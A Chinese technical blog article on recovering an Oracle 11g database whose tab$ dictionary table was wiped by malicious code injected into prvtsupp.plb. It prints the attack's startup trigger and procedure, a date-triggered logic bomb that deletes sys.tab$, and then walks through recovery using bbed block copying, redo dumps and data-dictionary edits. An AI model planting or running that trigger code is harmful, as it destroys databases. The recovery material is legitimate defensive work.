点击▲关注 “数据和云” 给公众号标星置顶
更多精彩 第一时间直达
李翔宇，云和恩墨西区交付技术顾问，长期服务移动运营商行业客户，熟悉Oracle 性能优化，故障诊断，特殊恢复。
近期大量的客户数据库软件被注入恶意代码，导致数据库无法启动，报错ORA-00600: internal error code, arguments:[16703], [1403], [20]，大致的原因和预防措施可参考下面文章（复制打开，或点击”阅读原文“）：
http://www.eygle.com/archives/2018/07/recover_ora-600_16703.html
大致的意思是由于恶意攻击，$ORACLE_HOME/rdbms/admin/prvtsupp.plb被注入恶意代码。核心部分为一个触发器一个存储过程，清空了tab$，导致数据库启动时，bootstrap阶段无法完成。
create or replace triggerDBMS_SUPPORT_DBMONITOR
after startup on database
declare
begin
DBMS_SUPPORT_DBMONITORP;
end;
/
触发器用于启动数据库后调用DBMS_SUPPORT_DBMONITORP这个存储过程，存储过程代码如下：
PROCEDUREDBMS_SUPPORT_DBMONITORP IS
DATE1 INT :=10;
BEGIN
SELECTTO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;
IF (DATE1>=300)THEN
EXECUTE IMMEDIATE'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select *from sys.tab$';
DELETE SYS.TAB$;
COMMIT;
EXECUTE IMMEDIATE'alter system checkpoint';
END IF;
END;
/
该存储过程逻辑为：判断数据库的创建时间是否大于 300 天，如果大于300天则ctas备份tab$之后，delete tab$。
如果有备份的话，那么很简单就不展开了，本文主要介绍没备份的方法。
首先手工构造场景：
模拟DBMS_SUPPORT_DBMONITORP里的内容
SQL> @swl
System altered.
SQL> select count(*) fromt;
COUNT(*)
----------
13982
SQL> create table t_bak as select* from tab$;
Table created.
SQL> delete from tab$;
1251 rows deleted.
SQL> commit;
Commit complete.
SQL> alter systemcheckpoint;
System altered.
SQL> shutdown abort;
ORACLE instance shut down.
此时启动数据库报错ORA-00600: internal error code, arguments: [16703], [1403], [20]
SQL*Plus: Release 11.2.0.4.0Production on Wed Feb 13 04:21:27 2019
Copyright (c) 1982, 2013,Oracle. All rights reserved.
Connected to an idle instance.
SQL> startup
ORACLE instance started.
Total System Global Area 1269366784bytes
Fixed Size 2252864 bytes
Variable Size 1191186368 bytes
Database Buffers 67108864 bytes
Redo Buffers 8818688 bytes
Database mounted.
ORA-01092: ORACLE instanceterminated. Disconnection forced
ORA-00704: bootstrap process failure
ORA-00704: bootstrap process failure
ORA-00600: internal errorcode, arguments: [16703], [1403], [20], [], [], [],
[], [], [], [], [], []
Process ID: 3255
Session ID: 125 Serial number:5
恢复思路：
由于有且仅有tab$被delete，所以如果能恢复tab$的数据则数据库将得以恢复，这里我想到的大致恢复方法如下(欢迎大家提供更多的恢复思路)：
根据dump redo可以找到tab$被delete的rdba以及具体条目，使用bbed逐一还原(此方法非常麻烦，如果该库的表特别多，会增加更多工作量)。
由于恶意代码中，delete tab$前，ctas了一份tab$的备份，可以尝试先open数据库，再根据备份的tab$ insert到tab$中(此方法相对比较方便)。
odu抽取数据，重建库(如果库特别大，比如好几个t，甚至10t，100t的库则耗时太长)
本文只介绍第二种比较方便的方法,
恢复步骤大致如下：
open数据库
根据备份的tab$ insert到tab$中
在恢复之前首先简单介绍一下tab$，tab$是cluster C_OBJ#中的一个table，CLUSTER KEY为OBJ#，C_OBJ#中还包括有ICOL$、IND$、COL$、CLU$、I_OBJ#、COLTYPE$等等bootstrap核心对象，tab$在数据库中是非常核心的一个基表，它记录了table的段头地址以及统计信息。在数据库open过程中，需要访问到的基表对象如果在tab$中不存在，则数据库将无法open，报错即为ORA-00600:internal error code, arguments: [16703], [1403], [xxx]。
CREATE CLUSTERC_OBJ#("OBJ#" NUMBER) PCTFREE 5 PCTUSED 40 INITRANS 2 MAXTRANS 255 STORAGE( INITIAL 136K NEXT 200K MINEXTENTS 1 MAXEXTENTS2147483645 PCTINCREASE 0 OBJNO 2 EXTENTS (FILE 1 BLOCK 144))
SIZE 800
CREATE TABLE TAB$("OBJ#"NUMBER NOT NULL,"DATAOBJ#" NUMBER,"TS#" NUMBER NOT NULL,"FILE#"NUMBER NOT NULL,"BLOCK#" NUMBER NOT NULL,"BOBJ#" NUMBER,"TAB#"NUMBER,"COLS" NUMBER NOT NULL,"CLUCOLS" NUMBER,"
PCTFREE$" NUMBERNOT NULL,"PCTUSED$" NUMBER NOT NULL,"INITRANS" NUMBER NOT NULL,"MAXTRANS"NUMBER NOT NULL,"FLAGS" NUMBER NOT NULL,"AUDIT$" VARCHAR2(38)NOT NULL,"ROWCNT" NUMBER,"BLKCNT" NUMBER,"EMPCNT"NUMBER,"AVGSPC" NUMBER,"CHNCNT" NUMBER,"AVGRLN" NUMBER,"AVGSPC_FLB"NUMBER,"FLBCNT" NUMBER,"ANALYZETIME" DATE,"SAMPLESIZE"NUMBER,"DEGREE" NUMBER,"INSTANCES" NUMBER,"INTCOLS"NUMBER NOT NULL,"KERNE
LCOLS" NUMBERNOT NULL,"PROPERTY" NUMBER NOT NULL,"TRIGFLAG" NUMBER,"SPARE1"NUMBER,"SPARE2" NUMBER,"SPARE3" NUMBER,"SPARE4"VARCHAR2(1000),"SPARE5" VARCHAR2(1000),"SPARE6" DATE) STORAGE( OBJNO 4 TABNO 1) CLUSTER C_OBJ#(OBJ#)
如何open数据库？
知道了在数据库open过程中，需要访问到的基表对象如果在tab$中不存在将报错ORA-00600: internal error code, arguments:[16703], [1403], [xxx]，那么将这些对象的信息还原回tab$，则数据库将open成功。
如何确定数据库open需要访问哪些核心基表呢？
找一个正常的数据库做open时的10046，过程如下：
SQL> startupmount;
ORACLE instancestarted.
Total SystemGlobal Area 1269366784 bytes
Fixed Size 2252864 bytes
Variable Size 754978752 bytes
DatabaseBuffers 503316480 bytes
Redo Buffers 8818688 bytes
Database mounted.
SQL> @46on
Statementprocessed.
Statementprocessed.
SQL> alter databaseopen;
Database altered.
SQL> @46off
/u01/app/oracle/diag/rdbms/test/test/trace/test_ora_1769.trc
Statementprocessed.
简单的对10046 trace文件进行筛选则可以找到这些基表的obj#，并在一台同平台同版本的数据库上查询这些对象的rdba地址以及其他信息
[oracle@test ~]$grep "TABLE ACCESS"/u01/app/oracle/diag/rdbms/test/test/trace/test_ora_1769.trc|awk '{print$7}'|sort|uniq|sed 's/obj=/,/'|awk '{printf $1}'|sed 's/^,//'
10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,6571,6731,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99
SQL> SELECT a.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID)FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_ID
2 FROMTAB$ a,obj$ b
3 WHEREa.obj#=b.obj#
4 ANDA.OBJ# IN (10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99)
5 orderby 6,7;
这些对象在同版本同平台的数据库上的rdba地址一般都是一致的，所以找一台正常运行的同版本同平台的数据库(最好是比较干净的库，否则后续处理会比较麻烦)，使用bbed进行替换，用sql拼接出bbed的命令
SQL> SELECT DISTINCT'copy file 2 block '||block_id||' to file '||FILE_ID||' block '||BLOCK_ID FROM(
2 SELECTa.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID)FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_ID
3 FROMTAB$ a,obj$ b
4 WHEREa.obj#=b.obj#
5 ANDA.OBJ# IN (10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99));
可以看到这里需要替换38个数据块，替换后可以成功open数据库
尝试open数据库：SQL> conn / as sysdba
Connected to anidle instance.
SQL> startup
ORACLE instancestarted.
Total System GlobalArea 1269366784 bytes
Fixed Size 2252864 bytes
Variable Size 1191186368 bytes
DatabaseBuffers 67108864 bytes
Redo Buffers 8818688 bytes
Database mounted.
Database opened.
从alert日志可以看到此时数据库open伴随着ora-7445，并且5分钟后就会crash掉，所以要抓紧着5分钟的操作时间
如何将备份的tab$insert回tab$?
由于tab$的备份表在tab$中并没有恢复所以无法查询，下面需要根据redodump去确定tab$的备份表t_bak的rdba
SQL> desc t_bak
ERROR:
ORA-03113: end-of-fileon communication channel
Process ID: 2812
Session ID: 125 Serialnumber: 7
通过对logdump搜索OBJ:2(C_OBJ#的dataobj#)、OP:11.2(insert操作)、tabn：1(C_OBJ#中tab$的tab#),以及查出来的t_bak的obj#，不难找到create table as t_bak对tab$的redo日志：
CHANGE #2 TYP:2CLS:1 AFN:1 DBA:0x00407b2c OBJ:2 SCN:0x0000.000f5a8b SEQ:1 OP:11.2 ENC:0 RBL:0KTBRedo
op: 0x11 ver: 0x01
compat bit: 4(post-11) padding: 1
op: F xid: 0x0004.00f.0000011e uba: 0x00c00630.0050.37
Block cleanout record,scn: 0x0000.000f5a8b ver: 0x01 opt: 0x02,entries follow...
itli: 1 flg: 2 scn: 0x0000.000f5a8b
KDO Op code: IRP rowdependencies Disabled
xtype: XA flags: 0x00000000 bdba: 0x00407b2c hdba: 0x00400090
itli: 2 ispac: 0 maxfr: 4863
tabn: 1 slot: 2(0x2)size/delt: 123
fb: -CH-FL-- lb:0x2 cc: 36 cki: 0
null:
01234567890123456789012345678901234567890123456789012345678901234567890123456789
可以看到t_bak在tab$的rdba地址为0x00407b2c(file1 block 31532），cki为0即cluster key为kdbr[0]
与redo dump一致，下面开始恢复tab$中t_bak的记录，由于是cluster block所以过程有点繁琐
t_bak已经恢复完成，下面insert回tab$
SQL> insert intotab$ select * from (select * from t_bak where obj# in (select obj# from t_bak whereobj#<>14751 minus select obj# from tab$));
982 rows created.
SQL> commit;
Commit complete.
SQL> select count(*)from t;
COUNT(*)
----------
13982
至此数据库基本恢复完成。
但是通过hcheck脚本检查数据字典一致性发现还是有一些问题存在：
SQL> @hcheck
HCheck Version07MAY18 on 14-FEB-2019 22:49:53
----------------------------------------------
Catalog Version11.2.0.4.0 (1102000400)
db_name: LXY
Catalog Fixed
ProcedureName Version Vs Release Timestamp
Result
------------------------------... ---------- -- ---------- --------------
------
.-LobNotInObj ... 1102000400<= *All Rel* 02/14 22:49:53 PASS
.-MissingOIDOnObjCol ... 1102000400<= *All Rel* 02/14 22:49:53 FAIL
HCKE-0002: Object typecolumn with missing OID$ (Doc ID 1360268.1)
OBJ#=12946 Name=SYS.AQ$SCHEDULER$_EVENT_QTABIntCol#=20=USER_DATA TabProp=
OBJ#=12953 Name=SYS.SCHEDULER$_REMDB_JOBQTABIntCol#=28=USER_DATA
TabProp=539101206
OBJ#=12953 Name=SYS.SCHEDULER$_REMDB_JOBQTABIntCol#=31=SYS_NC00031$
TabProp=539101206
OBJ#=12953 Name=SYS.SCHEDULER$_REMDB_JOBQTABIntCol#=46=SYS_NC00046$
TabProp=539101206
OBJ#=12987 Name=SYS.SCHEDULER_FILEWATCHER_QTIntCol#=28=USER_DATA
TabProp=539101190
OBJ#=12987 Name=SYS.SCHEDULER_FILEWATCHER_QTIntCol#=35=SYS_NC00035$
TabProp=539101190
OBJ#=13273 Name=SYS.AQ_EVENT_TABLEIntCol#=25=USER_DATA TabProp=539363346
OBJ#=13281 Name=SYS.AQ$AQ_EVENT_TABLEIntCol#=20=USER_DATA TabProp=
OBJ#=13282 Name=SYS.AQ$_AQ_EVENT_TABLE_FIntCol#=24=USER_DATA TabProp=
OBJ#=13285 Name=SYS.AQ_PROP_TABLEIntCol#=28=USER_DATA TabProp=539101186
OBJ#=13591 Name=SYS.SYS$SERVICE_METRICS_TABIntCol#=28=USER_DATA
TabProp=539101186
发现了11处问题，都是HCKE-0002:Object type column with missing OID$。这是什么意思呢？
分析hcheck脚本的MissingOIDOnObjCol存储过程：
Procedure MissingOIDOnObjCol
(nF In Number Default 0,
VerChk In Number Default 5,
Verbose In Boolean Default FALSE)
Is
nFr Number ;
Cursor sCur1 Is
Select o.obj# , o.type#, o.owner#,o.name, c.col#, c.intcol#,
c.name cname, t.property
From obj$ o, col$ c, coltype$ ct, oid$ oi, tab$ t
Where o.obj# = ct.obj#
And ct.obj# = c.obj#
And ct.col# = c.col#
And ct.intcol# = c.intcol#
And oi.oid$(+) = ct.toid
And o.obj# = t.obj#(+)
And oi.oid$ is null;
ps1 Varchar2(10) := 'HCKE-0002';
ps1a Varchar2(65) := 'Object type columnwith missing OID ps1n Varchar2(40) := '(Doc ID 1360268.1)';
CursorRun Boolean := FALSE;
Begin
If ( nF = 0) Then
nFr := FindFname('MissingOIDOnObjCol') ; Else nFr :=nF;
End If ;
If ChecknCatVnFR (nCatV, nFr, VerChk) = FALSE Then Return;End If;
For c1 In sCur1 Loop
If (not CursorRun) Then
report_failure('FAIL',ps1,ps1a,ps1n,CursorRun);
End If;
put_line(' OBJ#='||c1.obj#||'Name='||Owner(c1.owner#)||'.'
||c1.name||'IntCol#='||c1.intcol#||'='||c1.cname
||'TabProp='||c1.property);
Fatal := Fatal + 1 ;
End Loop ;
If (CursorRun) Then put(chr(10)) ; else put_line('PASS');End If ;
End ;
仔细对脚本进行分析，推测是当表的字段类型为type类型的对象时，coltype$的toid和oid$的oid$不匹配导致的，应该是之前为了open数据库替换块的时候造成的。
以OBJ#=12946Name=SYS.AQ$SCHEDULER$_EVENT_QTAB IntCol#=20=USER_DATA为例继续分析：
由于数据字典不一致，该表是不可以正常访问：
SQL> desc SYS.AQ$SCHEDULER$_EVENT_QTAB
ERROR:
ORA-00600: internal error code, arguments:[16687], [12946], [20], [], [], [], [], [], [], [], [], []
SQL> select * fromSYS.AQ$SCHEDULER$_EVENT_QTAB;
select *from SYS.AQ$SCHEDULER$_EVENT_QTAB
*
ERROR atline 1:
ORA-21700: object does not exist or is marked fordelete
对正常的数据库查询可以看的SYS.AQ$SCHEDULER$_EVENT_QTAB的字段名为USER_DATA的字段类型为SCHEDULER$_EVENT_INFO，通过下面的查询可以发现确实不匹配(以oid$的为准，因为之前替换的是C_OBJ#,而coltype$是C_OBJ#中的一个表)：
SQL> select oid$ from oid$ where obj# in (selectobj# from obj$ where name='SCHEDULER$_EVENT_INFO');
OID$
--------------------------------
7BB17EE961D00845E0536438A8C00848
SQL> select toid from coltype$ where obj# in(select obj# from obj$ where name='AQ$SCHEDULER$_EVENT_QTAB') and intcol#=20;
TOID
--------------------------------
81673B4EDDF5111FE0536438A8C02F5D
通过下面的查询也可以推出以oid$的为准
SQL> select toid from type$ where toid in('7BB17EE961D00845E0536438A8C00848','81673B4EDDF5111FE0536438A8C02F5D');
TOID
--------------------------------
7BB17EE961D00845E0536438A8C00848
修改coltype$后恢复正常：
SQL> update coltype$ set toid='7BB17EE961D00845E0536438A8C00848'where obj# in (select obj# from obj$ where name='AQ$SCHEDULER$_EVENT_QTAB') andintcol#=20;
1 row updated.
SQL> commit;
Commit complete.
SQL> @flc
System altered.
System altered.
SQL> select * fromAQ$SCHEDULER$_EVENT_QTAB;
no rows selected
逐一修改后，再次执行hcheck：
SQL> @hcheck
HCheck Version07MAY18 on 15-FEB-2019 01:56:00
----------------------------------------------
Catalog Version11.2.0.4.0 (1102000400)
db_name: LXY
15-FEB-2019 01:56:01 Elapsed: 1 secs
---------------------------------------
Found 0 potentialproblem(s) and 0 warning(s)
PL/SQL proceduresuccessfully completed.
Statementprocessed.
至此整个数据库比较完整的恢复完毕。
原创：李翔宇
资源下载
关注公众号：数据和云（OraNews）回复关键字获取
2018DTCC , 数据库大会PPT
2018DTC，2018 DTC 大会 PPT
DBALIFE ，“DBA 的一天”海报
DBA04 ，DBA 手记4 电子书
122ARCH ，Oracle 12.2体系结构图
2018OOW ，Oracle OpenWorld 资料
产品推荐云和恩墨Bethune Pro企业版，集监控，巡检，安全于一身，你的专属数据库实时监控和智能巡检平台，漂亮的不像实力派，你值得拥有！
云和恩墨zData一体机现已发布超融合版本和精简版，支持各种简化场景部署，零数据丢失备份一体机ZDBM也已发布,欢迎关注。